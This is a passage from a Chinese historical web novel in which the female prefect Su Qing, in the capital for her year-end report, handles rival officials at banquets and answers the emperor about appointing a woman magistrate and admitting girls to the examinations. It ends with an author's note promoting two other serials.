武捕头安排人轮守,还有一部分差役休息两三日,先启程回广乐府。 一干事情安排妥当,武捕头才看向自己的大儿子。 他家两个儿子,永晟元年去当的兵。 大儿子十九,小儿子十七。 如今一个二十三,一个二十一,都在军中有官职。 因兵力调动,大儿子在京城,小儿子在边关。 现在猛然看到长子,心情格外不同 他们父子两个前去说话。 客厅内只剩苏清,顾从斯,花景明,祁安平,惠容。 还是惠容给花景明祁案首使眼色。 咱们先下去休息吧? 他们未婚夫妇也很久没见了。 从永晟三年下半年到现在五年年底。 人家两年没见了啊。 让惠容跟他老婆两年不见,他肯定接受不了的。 祁案首好说。 反而一向有眼力的花景明喊不动。 惠容跟祁案首一步三回头离开。 只剩苏清他们三个留下。 顾从斯看了一眼好友。 他们书信往来并未间断,虽说因花景明备考,信件少了些,但他们之间的好友情谊,还是不差的。 花景明看他眼神,愈发坐立难安。 苏清倒是不介意都在,只道:“现在刚来,京城情况也都知道了。” “只等皇上召见。” 顾从斯见花景明不走,也就罢了,点头道:“首先问的,肯定是武勇王爷的死,还有田大人如何处置。” 这一关不算难过。 武勇王爷的死,确实让皇上松口气。 第二件事跟第三件事才关键。 不讲其他乱七八糟的流言蜚语,跟皇上的心思。 最重要的,无非是祝芳洁的县令一职,以及女子允许参加童试。 苏清当初能做县令做知府。 靠的是天时地利人和。 祝芳洁呢? 战事平息,还有那么多举人进士等着派官。 凭什么要用她。 她有什么不可替代的吗? 为什么要为了她,改变现在用人规则? 女子参加童试,就更有意思了。 童试为县试州府试院试。 全部过关之后,才有秀才名头,官府认定,甚至可以进官学。 看似只是童试。 实则在科举制度上撬开一个口子。 所以说。 这两件事,才是苏清要面对的难题。 没做到就算了。 只怕皇上连带武勇王爷的死一起追责。 倒时候这个年关,苏清就难过了。 顾从斯不解。 苏清为什么要自己给自己找难题。 甚至去徽州一带赈灾也是。 凭借她的聪明,会有更好的方法,让皇上满意,还让灾民得到好处。 至于祝芳洁当县令,女子童试,更是她自找麻烦。 她分明知道今年年底皇上要召见,却还是给祝芳洁请官,还是让南江县改变童试规则。 可以缓一缓的。 这些事并不着急。 顾从斯的不赞同,让苏清跟花景明都有些惊讶。 换做三年前的顾从斯,并不会说这样的话。 苏清打量对方,才慢慢道:“到明年八九月份,我做广乐府知府,正好三年时间。” 三年任期满,就该换地方了。 她等不到下一年。 因为广乐府不可能让她继续经营下去。 皇上的疑心病,肯定受不了的。 顾从斯沉默。 苏清花景明看着他,这才发现本就没什么喜怒的他,如今更是冷面,整个人带着冷然。 跟晏铮州的冷不同,晏铮州更多是不可接近。 顾从斯更多为阴沉。 这不像他。 “这几年在京城,你过的如何。”花景明斟酌片刻,问了苏清也想知道的事。 顾从斯盯着苏清:“你想知道吗。” 一瞬间。 花景明意识到,苏清从未问过对方这个问题。 身在他乡,最应该问的就是这件事。 更说明两人私底下,其实没什么联系。 这让花景明窃喜之余立刻多了惶恐。 如今这场面,让他更难开口啊。 唯一的好处,就是苏清认定两人退婚,此事再无更改的可能。 否则,否则她不会一句也不问。 苏清见气氛不对,难得尴尬片刻,喝了口水才道:“顾训导夫妇身体都不错,你放心吧。他们在府学也算适应。” 苏清在提醒他。 当年的事,并非自己的问题。 说直白点,家里都搞不定,何谈以后。 她没必要处理这些事的。 果然,顾从斯收回目光,变得更加沉默。 苏清懒得再说,径直回房间休息。 同乡会找了婆子丫鬟在宅子里帮忙,她所在的主院打理的十分妥当。 客厅里留下顾从斯跟花景明两人。 他们各有各的想法。 花景明叹口气。 他本想说明自己的心意。 此刻却不好提了。 果然,苏清这样的人,谁又愿意真的放手。 不管用什么方法,他们也想得到。 即使跟好友反目成仇,他也不在意。 花景明表情微冷,也告辞回了自己家中。 来京城的头一日,旧友颇有些不欢而散的意思。 苏清这边好好睡了一觉,跟多数知州知府差不多,要么跟同僚聚会,要么等着皇上召见。 但二百多个州府长官一起来,她还是最后来的那个,肯定排在最后面,所以暂时不急。 闲来无事,干脆逛逛京城。 武捕头他们太过扎眼,苏清只带了院里的婢女出门。 花景明得知,定要跟来的。 祁案首也凑过去。 唯有惠容在花家备考,说自己天分一般,只能努力。 京城确实繁华,祁安平看的眼花缭乱,花景明同样有些惊喜之处。 相比之下,苏清反应平平。 不是她故作矜持,而是很多东西她真的都见过啊。 这么闲逛两日。 第一封邀贴终于送到家中。 打开一开,竟是通民府知府相邀,说同僚小聚,请苏知府务必赏光。 通民府,苏清老家。 来的时候路过那边,知府肯定先一步离开,毕竟她因事耽搁。 苏清欣然应约,还带了两坛前些日买的好酒布料等物。 再看其他同僚带的,都差不多。 通民府陈知府见她过来,第一时间就道:“一会山阳府沈知府也会过来,放心,有下官在,不会有什么事的。” 陈知府作为东家,颇有些为难。 本应把两人分开的,他也确实做了两场宴会,今日请苏知府一干人,明日请沈知府等人。 没想到底下人办事不力,把明日几张帖子混到这里面。 幸好这两日他都没有宴请徽州赵知州的意思。 不然把他的帖子也混里面,宴会必然要打起来的。 苏清见他表情,就知是无意之举,笑道:“下官早就想见见沈知府了。” 双方虽都是知府,但互称下官,实为谦称。 说起陈知府,他今年才上任通民府。 而苏清老家什么样子,她再清楚不过。 若非匪盗横行,梅家表妹表弟不会被送到她那。 陈知府上任不到半年,想跟苏清交好,从她这学学经验。 能把广乐府治理成如今的模样,她必有真本事。 不过谁能想到,把山阳府沈知府也请来了。 真怕两个人吵起来。 主要沈知府吵,苏清的情绪明显更稳定。 苏清刚落座,又跟着陈知府去迎其他同僚。 各地官吏对苏清都抱着好奇,难免多聊几句。 谈到治理地方,话都多起来。 直到徽州附近两个州府的知州知府过来,小步跑到跟前,连连感谢。 通民府陈知府邀请苏清,也有他们两个的原因。 他俩一直想感谢苏清,苦于找不到机会。 直接办宴会吧,赵知州那边又难看。 于是通过这般迂回的方式,终于见到面了。 “若不是你及时出手,真要生灵涂炭了。” “我两地百姓,都极感激您。” “现在收了一季豆子,能勉强糊口。” “杜主事跟汪举人应该已经回广乐府了。” 苏清面对两人连连感激,还是客气些:“当初广乐府叛军,是各地送物资过去。” “都是顺昌国州府,必要守望相助的。” 在场官员连连点头。 是啊,都是顺昌国的人,都是土地。 守望相助,理所应当。 宴会还未开始,苏清便成为人群中心。 山阳府沈知府进门时,只觉得眼前一黑。 方才陈知府同他说了,苏清今日也在,他差点生气啊。 要不是知晓陈大人老实,都以为他是故意的。 苏清跟沈知府对上眼神,苏清带了笑意,主动打招呼。 沈知府哼了一声,算是有所回应。 在场众人,尤其陈大人,瞬间松口气啊。 太好了,大家都给他这个东家面子,没有吵起来! 官场上都是人精,有意无意把两人隔开,看戏听曲都各听各的。 只是到喝酒的环节,苏清一杯倒的名声不少人都知道,陈大人更无意为难。 沈知府却把杯子一放:“怎么?自己是女子,就能特殊对待吗。既然做了官,不会喝酒怎么行。” 完了。 在场众人心里同时道。 苏清施施然放下蜜水杯子:“是不是女子,当不当官,跟会不会喝酒,完全风牛马不相及。沈知府为何要放在一起说。” 沈知府嘴唇动了动,陈大人赶紧缓和气氛:“同僚小聚,何必计较这么多。大家能吃酒就吃酒,吃不成就罢了。” 受过苏清照顾的知州知府同样打圆场。 算是把这事揭过。 宴会结束,苏清得了不少邀约。 尤其是通民府陈大人,势必要请教一番,看看苏清老家要如何治理。 等马车的时候,苏清看到沈大人过来,又抬脚要走。 连周围小厮,苏清身边婢女等人长舒口气。 分开好,分开好,不要凑一起啊! 岂料苏知府竟然主动打招呼,甚至请沈大人一起等。 沈知府脸色一沉。 自己主动相让,她去屡次挑衅,焉知轻重? 但沈知府刚走到,就听苏清低声道:“听说大人只有一爱女。” “今年不过十三,四书五经无一不精。” “可是真的?” 提到女儿,沈知府眼神变软。 他正妻加上妻妾,也有四五个,只跟妻子得了这一个女儿,被他视为掌上明珠。 本想女儿无忧无虑嫁个好人,他心愿也了了。 岂料女儿是个读书的好苗子。 三岁提笔,五岁做诗。 自己念一句,她就会背一句。 把他喜欢的不行。 若这是个男子。 早就考过秀才举人。 岂容那些二十多了还未考上举人的庸才占有一席之地。 二十四就考上进士的沈知府,确实有资格骂“庸才”的。 苏清叹口气:“自己女儿不能参加童试,就阻拦我治下女儿参加。” “您这是恨呢,还是嫉妒啊。”—— 作者有话说: 推一下接档文《救命,我被古风男高男大包围了》《穿越做神厨》求求收藏呀 苏问一觉醒来,发现自己穿越了。 不仅穿越了,身边还都是各色俊美古风小生。??? 我被古风男高男大包围了? 人群里,只有一个面带温柔的男人眼中写着不耐烦,像是看到什么脏东西。 等苏问想起一切的时候,整个人都麻了。 原身作为一本书里的炮灰女配,因爱慕自己未婚夫,女扮男装进了国子监,想要陪伴在未婚夫身边。 不料愈发惹得对方嫌弃,只是碍于两家婚约,不好说什么。 等原身未婚夫考上状元后,自然第一时间去苏家退婚。 苏家因此被京城笑话多时,之后更是全家落得下狱流放,直到死在流放路上。 死之前,原身双腿残疾,硬生生冻死在路边。 想到以后的悲惨命运,苏问猛猛给老天爷磕几个响头。 以后她会离前夫哥远一点的! 绝对不会再纠缠! 夜色里的前夫哥,模模糊糊听到自己的名字,又听到纠缠二字,眼神愈发不耐烦。 可接下来几个月里,说好要纠缠他的人,只会亲近其他人。 跟将军家的幼子,尚书家的长子,侯爷家的私生子走的极近。 反而避他如蛇蝎。 她为什么对每个男人都那么好。 她女扮男装来国子监,不是为了他吗? 在前夫哥后悔万分时,国子监梨花树下,苏问被那个只会装可怜的私生子亲了脸颊。 前夫哥刚想上前,只见苏问跳了八丈远,惊慌失措道:“我不搞断袖啊!” 说着便往身后跑,正好看到前夫哥阴恻恻地看着她。 苏问:?今日撞鬼了吗! 而前夫哥跟私生子对视一眼,都从眼中看到势在必得。 而苏问本人:我只是想考个状元,不被流放而已! 真不想跟你们古风小生搞癖好! ps:ps 1.男主是古代人,早就知道女主女扮男装,1v1,不是前夫哥 2.后期前夫哥会慢慢恢复上辈子记忆,追妻火葬场不成功 3.前期科举,后期做官种田,虐渣 《穿越做神厨》 大厨苏酥正要开自己第十家连锁店私房菜时,被天降花盆砸到另一个世界。 刚睁开眼,就被后母逼着嫁人,苏酥自然不肯,偷偷从村里离开。 到了县城的苏酥举目无亲,看了一圈,为了安全起见,干脆在县衙附近支起小摊。 什么流氓匪贼,敢在捕快面前闹事吗! 苏酥笑眯眯看着每日来吃饭的冷面捕头,一口一个:“客官常来!” 冷面捕头顿了下,低声道:“不要这么说。” 苏酥捧着刚出锅的糕点,心道为了让你们捕快罩着我,小女子当然要说好听话啊! 捕头拿起点心,深吸口气:“不要随便撩人。” 啊?她撩吗?没有吧- 美食+探案 美食为主,探案为辅 小甜饼 第64章 沈知府瞳孔微缩。 不敢置信地盯着苏清。 他家的消息不算秘密,官场上不少人都知道。 甚至不少同僚,上赶着要跟他家结亲。 这些老狐狸们,宴会上或许会说什么女子无才便是德。 但实际上,谁家娶儿媳,不是要才貌双全的。 甚至才情要比美貌更重要。 多数人都知道他心中的遗憾。 苏清却是头一个看出,他心中不仅遗憾,还有恨。 恨女儿不是儿子,恨她不能参加科举。 这种恨并非针对女儿本身。 而是一种莫名其妙的情绪,故而面对女儿时,他反而更加和蔼。 几乎是族内小辈当中,最艳羡的父亲形象。 这种恨意对女儿不能展现,于是到了祝芳洁身上,到了苏清身上。 苏清现在说,到底是恨,还是嫉妒。 以沈知府的聪明,自然明白他是什么想法。 他确实是嫉妒。 嫉妒苏清跟祝芳洁。 在他眼中,自己女儿不比这两个女子差。 凭什么她们有机会为官做宰。 苏清说完这句话,马车已经赶到,她直接坐上去,不再看沈知府一眼。 反而沈知府从方才的暴怒中冷静下来。 回到临时的住处,开始给女儿写信。 他买到女儿提到的书了,让人带回去,让她跟母亲好好过年,他年后就回去。 最后笔下顿了顿,若喜欢的话,可以让母亲陪着你去南江县,看看那边女子童试的情况,也可以问他们要一份试题,自己做一做。 精通四书五经,跟考科举,完全是两码事。 他之前只教女儿读书。 现在,他这个当年二十四岁进士,要教女儿怎么考试了。 以女儿的聪明,必不难学。 信件送出去,沈知府开始尴尬了。 之前他跟苏清闹的那样僵,怎么才能缓和关系。 只能寄希望近来宴会上,多跟苏知府碰碰面。 沈知府的宴会着实不少。 苏清也每日两三场邀约。 可两人就是碰不到啊。 那些做东的同僚,谁敢把他们俩放同一个宴会? 这不是找事吗? 谁给自己找这种麻烦啊。 别说山阳府沈知府了。 就算苏清也有点郁闷。 同僚们是不是太有眼力劲了。 难道就没人想看热闹斗蛐蛐吗? 哎,没意思。 或许是老天也知道他们的想法,还真有一个官员,要把两人同时邀请过来。 说是想让两人握手言和。 实际想看两人吵架。 这个人身份并不难猜。 徽州知州赵嘉致。 沈知府收到他的邀贴还算合理。 苏清收到,便不大对劲了。 他们之间的恩怨不必细说,人人都知道这俩不对付。 就连送信的小厮都缩着脖子,生怕被苏清这边的人打出去。 武捕头跟武家大儿子看到门房递来的帖子,连忙去找苏大人。 “这分明是故意的,鸿门宴。” 每日都来的顾从斯,加上花景明,祁案首,赫然在书房内。 他们三个有空就来这里帮忙处理公务。 有些宴会也跟跟着陪同挡酒。 所以武捕头并不意外。 三人的想法跟武捕头一样。 赵嘉致肯定没安好心。 很快,顾从斯的人也送来消息。 “赵嘉致不仅邀了苏清,还邀了的沈知府。” 这还有什么好说的。 赵知州要是安好心,那才出鬼了。 “我陪你去。”顾从斯道。 他在翰林院有官职,等到年后才会专心备考。 好歹是个京官,赵知州他们会收敛些。 祁案首知道,这事他掺和不动,只是心里也焦急。 花景明这出来:“我也去吧,人多总是好些的。” 花家在广乐府的地位不必说,以他家财力在京城说得上话。 苏清见他们一个比一个着急,估计怕沈知府跟赵知州一起对付她? 真不至于。 赵嘉致不是什么好东西。 沈知府那边,却也未必。 不过一个宴会而已,不慌。 腊月二十六。 京城早已下起鹅毛大雪。 苏清一身素色皮袄,外面穿着深色皮裘,脚上是花景明一定给她买靴子。 整个人看起来利落又暖和。 不过她不爱戴配饰,看起来既不是千金小姐,也不是普通女子。 再看她身侧两个俊美男子,各有千秋,身后书吏差役小心跟随。 “苏知府,顺昌国第一位女知府。” 苏清到了赵嘉致邀贴上的宅子,还未进门,就被其他同僚拦着打招呼。 有些人在看热闹,有些人颇带了担忧。 苏清又看了看往来的车马。 今日这宴会规模,着实不小。 顾从斯花景明一个面容严肃,一个带着温和笑意。 可仔细看的话,他们的注意力都在苏清身上,不让任何靠近。 后面的武捕头跟武家大儿子同样警觉。 宅院门口,就见门口燃起巨大香炉,那炉子精美异常,看得客人们连连赞叹。 赵嘉致作为主人,正站在旁边迎客。 看到苏清过来,赵知州故意道:“许久不见啊苏大人。” “自广乐府一别,也有两三年了。” 说着,还故意打量苏清:“大姑娘了。” 大家都是同僚,苏清甚至还比赵知州官职要高,他却这般态度,实在让人不爽。 最后那句话,更有些调戏的意味在里面。 苏清笑:“是啊,广乐府一别,也两三年了。有机会的话,还请赵知州去广乐府看看,是不是大变样了。” “对了,徽州情况如何了,听说大人一去,又是旱又是涝的。” 赵嘉致脸色瞬间难看。 广乐府大变样。 徽州也大变样。 一个变好,一个变差。 苏清好像刚反应过来,忍不住道:“要不赵大人找个神仙算算吧。” “怎么去哪,哪有事啊。” 其他官员面面相觑。 这么说,好像真是这么回事。 赵嘉致去广乐府不到一年,那边就开始打仗。 去徽州一年,水灾严重。 这是什么灾星转世啊。 苏清看了看花景明,花景明学过观星术兼带面相,还真点评起来了:“赵大人山根有横纹,运气不佳,做事不顺,心有余而力不足,大人确实要找神仙算算了。” 官场之人大多迷信。 这话让不少同僚犯嘀咕。 若他衰运缠身,还是离远点好。 大家日子都不好过,真不能靠太近。 赵知州本想给苏清一个下马威,没想到却被反将一军。 好在沈知府已经来了。 这两人在通民府陈知府的宴会上都能吵起来。 今日有自己给沈知府助阵,看看苏清如何丢人。 赵嘉致让儿子侄儿招呼客人,他引着进了暖阁。 苏清来的不算早,里面已经坐了不少宾客。 见东家过来,不少人起身打招呼。 看到苏清,也别一份的热情。 引荐到沈知府处时,赵嘉致特意道:“你们都是知府,自然同坐一处。” 周围人倒吸一口凉气。 赵大人在干什么? 不怕他们打起来?! 等会,就是为了他们打起来,才安排在一起的。 这几个人,还真是死对头。 不少人有些同情苏清。 二对一,她肯定落于下风。 赵嘉致等着看好戏。 谁料沈知府竟然起身,笑着道:“苏大人请坐。” 苏清客气拱手,坐到一旁。 那沈知府继续道:“我听人说,皇上已经见过大部分知州州府,估计明后两日,就会召见苏知府,见过皇上,大家也就轻松了。” 这话看似闲聊,其实是给苏清透露情况,让她做好准备。 换了其他同僚,算是提个醒。 但换做他们二人之间,分明是求和的信号。 还是山阳府沈知府主动求和。 为什么啊? 中间发生了什么?! 苏清更是客气:“多谢沈知府,看来今日这宴会要早早回去,万一皇上明日召见,我岂不是手忙脚乱。” 苏清也这样客气? 你们上次不是还吵起来了吗? 众人忍不住看向赵嘉致。 连顾从斯跟花景明也看了过去。 你把两个人喊过来,想让他们吵架。 现在不仅不吵。 甚至和好了? 苏清肯定不把这个好名头让他赵知州,直接对同僚道:“上次通民府陈知府请我们吃酒,还劝同僚之间和睦。” “我与长官沈大人深表赞同。” 啊? 陈知府劝和的?! 你们还都同意了? 在家中的陈知府听说,估计都摸不清头脑。 他什么时候劝了啊。 自己都不知道 反正赵知州脸色极为难看。 他就是为看苏清出丑的,没想到丢人的却是他 沈知府怎么回事。 前两日不是还在吵? 现在突然变卦。 再看人家两个,沈知府甚至主动让人把苏清面前的酒换成茶:“她不好喝酒的,以茶代酒即可。” 赵嘉致刚要开口,就见苏清身后两个年轻男子盯着他。 顾从斯,皇上心腹,在翰林院年轻人当中颇有威望。 花景明,富甲一方的花家小儿子。 这两个都要参加明年的会试,都有望上榜。 自己敢逼苏清吃酒,这两个肯定帮忙拦。 这一得罪,就是得罪一群人。 苏清这个小女子,到底从哪笼络这么多势力。 身边这些年轻男子,还个顶个的相貌极好。 赵嘉致愤愤不平。 他当初在广乐府多坚持一段时日,会不会也如她这般? 而且他是男子,肯定更得皇上赏识。 赵家宴会这般过去。 苏清跟沈知府虽未明说,却已经知道对方想法。 回到住处。 顾从斯花景明目光灼灼看向她,等着苏清解释 苏清一边褪去外面裘衣,一面道:“上次陈知府宴会上多说了两句,不过也不清楚他的想法,今日见了,方知对方已经想通。” 接着,苏清才把沈家情况说了。 要是沈知府的女儿能做官,他不知该有多高兴。 以前没这样想过,是没有先例。 但苏清跟祝芳洁的例子在哪,未必不可行。 即便做个县令,也能保住一家太平。 顾从斯点头,花景明已经凑过去:“不愧是苏鹤鹤,果然厉害。” 苏鹤鹤。 顾从斯下意识盯着好友花景明,脸色逐渐变冷。 方才气氛还好,此刻瞬间降至冰点。 等花景明反应过来,虽有愧疚,却也看过去:“我跟苏清之间的小名。夸她与众不同。” 两人眼神对视,都从对方神色中知道答案。 顾从斯不敢相信,却又觉得理所应当。 是啊,谁会不喜欢苏清呢。 只要跟她待在一起,就会喜欢上她。 意识到这一点,之前很多疑问都有了答案。 自己是请花景明多照顾清清。 却不是这般照顾。 顾从斯已然有些愤怒。 宫里召见,打断奇怪的气氛。 沈知府那边消息没错。 皇上圣旨,明日召见广乐府知府苏清于勤政殿觐见。 另有其他知州知府不提。 从腊月二十一开始,到如今腊月二十六。 皇上一口气接见二百多地方官员。 估计到明日,也是最后一批了。 终于要面圣了。 苏清有些好奇,皇上到底长什么样,跟他弟晏铮州,是不是完全不同。 说起来,连皇上都要见了,晏铮州却像是完全没踪影。 只有她到京城头一日,看见过连飞扬。 等苏清去准备面圣的官府衣帽。 顾从斯跟花景明走出宅子。 花景明并不停留,顾从斯却不打算这般放过,他直接道:“什么时候开始的。” 什么时候开始。 花景明自己也想了想,摇摇头,反问道:“你倒是敏锐。” 一句苏鹤鹤,就被他看出端倪。 顾从斯直言:“清清不知道这是什么意思,别人能不知道?” 只有定亲的时候,未婚夫才能给未婚妻取小名。 这是已经订婚的未婚夫,才有的特权。 被这样一说,花景明瞬间意识到什么。 自己给她起这个名字的时候,不会已经有心思了吧。 顾从斯见他表情,更加愤怒,强压着怒火:“她是我未婚妻,你是我好友。” 花景明眼神一闪,只道:“你们早在两年前就退婚了,不是吗。” 至于好友。 两人都知道。 他们不再是朋友了。 腊月二十七,寅时正刻。 也就是深冬十二月底,早上四点钟,宫门外。 外面还下着鹅毛大雪,苏清三点就起来了,换好官服,又穿上厚厚的深色裘衣,恨不得把自己裹成球。 到了宫门外,已经有不少停靠。 苏清跟武捕头等了会,又有其他同僚下车。 这会离天亮还早,一群官员都在宫门等着,人齐了之后再往宫门内走。 他们这些地方官员大多不怎么进宫,前面有公公带着,交代面圣事宜。 尤其是苏清,她头一次进宫,要了解的事情更多。 好在她不卑不亢,并未被巍峨的皇宫吓到,看着镇定自若 终于进了侧殿,但里面炭火烧的不旺,大家只能尽量走动走动。 过了好一会,才有人送来热茶暖暖身子。 问皇上什么时候召见,只讲再等等。 要等朝会结束再说。 既然朝会结束再召见,何必让他们来这样早? 大家肯定不敢问出声。 但他们这一批官员,都是来京最晚的,还有些也因路途遥远,赶在二十一才到。 以朝廷规定的时间,也是迟了的。 难道是给他们的惩罚? 不至于吧。 皇上的心眼这样小。 一直等茶叶汤色都浅了,天色已经大亮,众人才被请到勤政殿外间。 他们这一批官员,共计三十人。 大家分批进入。 到苏清这里,自然是最后一组。 十个人进到殿内。 先说自己哪个地方的官员,今年本地方税收多少,人口多少,耕田多少。 再说本地乡试,以及有多少举子参加明年四月会试。 公公们千叮万嘱,让官员们务必说得清晰。 身边身边那位年迈官员,嘴里念叨好几十遍。 他任地极远,正是“迟到”的一员,说是路上还生病了。 “迟到”最久的苏清稍稍叹气。 此时已经巳时,也就是上午十点。 大家三点起床,四点到宫门外,十点还没见到上司。 放到现代,她大概转身就走,谁爱伺候这老板谁伺候。 现在只能等着里面传话。 苏清微垂着眼,看不清表情。 等他们最后五人进勤政殿内殿时,旁边的老头已经快晕过去了。 即使这样,还是把任地情况说的极为清晰。 是个南方小州,今年也有水灾,人口不过六十万,税收不过十几。 “今年水患严重,许多田地颗粒无收。” 皇上并未多问,稍稍点头。 站在一旁的梁公公道:“下一个,广乐府。” 那老官员深深叹口气。 在广乐府之前汇报,着实不大好。 州本就比府差一些,广乐府还格外不一样。 苏清也没什么办法,只能如实回答。 “广乐府,一城十六县,今年税收一百一十九万,人口二百三十九万,耕地十二万顷。” 再有本地乡试成绩,以及参加明年会试的举子共计三百九十九人,本地英才顾从斯,祁安平,花景明,惠容等人。 还有几个县受灾情况,一一说明。 苏清是本次二百多外地官员中唯一的女子,政绩也属上游。 不仅同进勤政殿的同僚好奇。 殿内三位翰林内阁大学士,以及吏部尚书,户部尚书等皆微微抬头。 各地官员进京述职。 皇上坐在上位,其他内阁大臣,吏部户部等人也一旁坐着,他们的年纪不比旁边的老大人年纪小,皆是满头白发。 五位述职官员答完,便是皇上等大臣提问环节。 前四个草草问了。 到苏清这里,气氛骤然一变。 原因无他。 苏清太特殊了。 特殊到想撤她的职,都不知道如何下手。 当年广乐府出事,几方博弈让她上位。 没想到她能坐稳,更没想到坐稳之后,还有这般名声。 一时间,谁都不好动她。 一个女子,做个县令就罢了。 还要坐稳知府的位置,难道还给她登阁拜相的机会。 越往上,位置越少。 男子之间的竞争足够激烈。 再让女子参与进来,岂不是多了分利益的人。 所谓女子身份,只是他们打压的工具罢了。 只是苏清做得太好。 连撤职的机会都不给他们。 现在撤苏清的位置。 不说广乐府百姓不答应。 受过她恩惠的徽州一带百姓,也是不乐意的。 就算不管百姓们的想法。 对朝中用心做事的官员来讲,难免兔死狐悲。 今日可以用苏清女子身份把她换掉。 以后用其他理由,也能把他们换掉。 除了百姓跟官员。 苏清身上另一个特点,也让皇上觉得棘手。 人人都知道,自己并不喜欢她,也不看好她当官员。 若这种情况下把她换掉。 岂不是显得皇帝喜好过甚,刻意针对她,影响帝王之尊。 外界种种猜测。 反而让苏清身上长满刺。 让人摸不得,碰不得。 皇上盯着苏清,开口道:“苏知府,抬起头来。” 这句话让苏清心道不好,等她稍稍抬头,就听皇上道:“竟是个相貌绝佳的女子,今年多大了?” 苏清心中冷笑,只答:“微臣今年二十,正是父亲亡故那年接替他的位置,那年十六。” 提到苏清父亲苏县令。 气氛终于变了些。 这位为国而死,宁死不屈。 在这种情况下再说其他,实在荒唐。 等苏清看向皇上,见他面容苍白,微微有些浮肿,眼圈下面乌青,看着身体就不大好。 而他眼中写满了然。 这点,倒是有些像晏铮州。 脸不大像。 硬要说的话,是低配版的晏铮州。 面对苏清这个“刺猬”。 皇上有些拿不准如何处置。 过了片刻,终于说到正题。 武勇王爷的死。 刑部尚书开口:“怎么会让田献靠近武勇王爷,明知他与王爷全家有血海深仇。” “如此行事,当地长官,还有你这个当知府,难道没有警觉。” 苏清答:“回尚书大人。” “田献确实与王爷有血海深仇,但南江县一带,几乎家家户户如此。想要找个无他无仇的官吏,实在太难。” 刑部尚书顿住。 苏清说的也是实情。 谁家没被叛军欺辱过? 谁家没死几个人? 不是她跟祝芳洁故意找仇人看管武勇王爷。 而是那地方,遍地都是仇家。 “那也是你们看管不严所致。”礼部尚书开口,“想来,还是当地长官的问题。若加强戒备,就不会有这种事发生。” “听说苏知府还在为这个犯错的长官请职位?””礼部尚书看向吏部尚书。 “果真有这件事?”皇上缓缓开口,声音有些沙哑,但又带着别扭的温和。 这是咳久了,身体不算好的症状。 苏清答:“是,微臣在为祝芳洁请官,她在南江县已久,现在南江县的制药作坊,就是她一手建立。” 关于制药作坊,苏清简单介绍,又道:“因县里有一药谷村,盛产名贵药材,若不能在采摘后及时炮制,很容易失去药效。” 苏清又说了两味名贵药材的名字,皆是以保养身体,益寿延年之用。 别说皇上。 三位翰林内阁,六位尚书,都有些心动。 说到这,梁公公开口:“苏知府似乎对养生汤药极为熟悉,如今京中盛行的固本培元汤,就是出自苏大人之手。” 当年在南江县赠药,赠的就是这服药。 今年在徽州一带赠药,也是这个。 无一例外,都说这个方子极好。 苏清拱手:“只是偶然得的方子,还好有些作用。” 但大家都知道,药谷村也出自苏清的手笔。 那里正好产保养身体的珍惜药材。 看来她这话是自谦了。 气氛终于缓和了些。 可在祝芳洁当县令这事上,礼部官员并不松口气,看样子绝对不同意。 礼部尚书再提一件事:“南江县明年县试,允许女子参加,可有此事?” 终于把这两件事全都说出来了。 跟苏清他们猜测的差不多。 武勇王爷的事并不重要。 祝芳洁跟女子童试,才是今日重点 苏清直接道:“广乐府各地都缺官吏,很多地方都是一个人当五个人用。微臣这样做,只是想让衙门人员充足,方能治理好地方。” “就拿广乐府耕地来讲,这两年耕地增加,先有的官吏忙不过来,只能多招人手。” “还有边关的城池。” 说到这,苏清故意顿了下:“城池损毁严重,必须在这两年内抓紧修缮。” “皋青州外还有异族虎视眈眈。” “只怕他们趁着边关空虚,直接闯进来。” 提到打仗。 提到闯进来。 皇上等人像是应激一般。 不能再打仗了。 当年叛军闯入京城,让京城损失惨重。 至今还给皇上等人留下心理阴影。 尤其是方才反应最激烈的礼部尚书,他经历过叛军进京,逃往金陵,如今再返回。 真的不能再经历一遍了。 反而是吏部尚书开口道:“苏清,不要胡言乱语,胡言惑众。” 苏清没有说话,只道:“听闻沿海一带,海盗趁机作祟,难保不是知道朝廷人手不足。” 沿海,海盗。 所谓的海盗,其实就是当年其中一伙叛军。 十二股叛军,逃往广乐府皋青州一带的,基本都被清缴。 还有往沿海滇州跑的。 全都是边境地带。 很多叛军靠着武力,已经在边塞扎根。 这些,才是最大的威胁。 跟他们相比。 苏清这个女知府。 甚至祝芳洁,女子童试,根本不值一提。 不管他们再怎么否认,苏清讲的话,都是实情。 二百多官员进京述职,也不能带来和平。 各地的情况,并不算好。 当然了,不是所有人,都跟她和老大人一样,把实情说出来。 比如那徽州赵嘉致,就把徽州水患草草带过,只讲皇上治理有方,若不是皇上,灾民们都要饿死了云云。 听说那一天,把皇上吹得极为高兴,还留赵嘉致单独说话。 苏清说的,几乎正好相反。 所以她没被留下来单独说话,跟老大人一起请出勤政殿。 至于祝芳洁的官职,女子童试,还要再议。 但今日已经腊月二十六。 还有两日,朝廷早朝都不上了,开始过冬假。 什么时候再议? 苏清不算着急。 她又不急着要个名头。 那南江县,就是在祝芳洁手底下管着,人人都喊她县令大人的。 只要自己在一日,这事就不会改变。 朝中对此事确实有讨论。 接下来两日里。 皇上甚至让山阳府沈知府多说说。 而沈知府的话,让吏部礼部都有些沉默。 之前他最反对什么女子童试。 现在竟然开口,说山阳府也想试试,他们那民风淳朴,百姓一心向学。 说不定也能出几个人才。 刚开始,大家还不理解他为何这样讲。 期间还有件小事发生。 跟苏清一起面圣的老大人,吃了苏清给的药丸,身体好了不少。 说那药丸就是南江县制药作坊所产,用的还是药谷村的药材。 一直到大年三十宫宴上,才有人提起,若山阳府有女子童试,那他女儿可以参加。 沈知府素来以天才著称。 他家女儿,也是声名远扬,学富五车的。 皇宫宫宴,自然是皇上,太后,后妃。 以及铮王爷,皇室等人参加。 对比其他人,都是一家团聚,铮王爷这边只有自己。 至于之前说的赐婚,皇帝只字不提。 众人心里了然。 在皇上没有自己的子嗣前,绝对不允许铮王爷有自己的孩子。 以晏铮州的身体情况,别说娶妻了,即便纳个妾,都会比他先生出孩子。 而晏铮州也是一贯作风,既不提娶妻,更不会纳妾。 他似乎永远听母亲跟哥哥的话。 毕竟他当年的出生,差点害死母亲哥哥。 此时的京城小院里。 苏清提前好几日吩咐厨娘等人,把年夜饭准备的充分些。 杀猪宰羊,让武捕头差役好好过个年。 都说吃饱了不想家,不少人头一次在外面过年,还是要精心准备的。 除了广乐府出来办差的,自然还邀了武捕头大儿子,顾从斯,花景明等同乡。 吃年夜饭时,大家不拘官职,把房门一关,喝酒吃肉好不热闹。 不多时,齐公公悄悄敲门进来,提着年礼就来了。 他没想到,苏清真就不带云喜绿兰俩孩子,此举自然为保全他们。 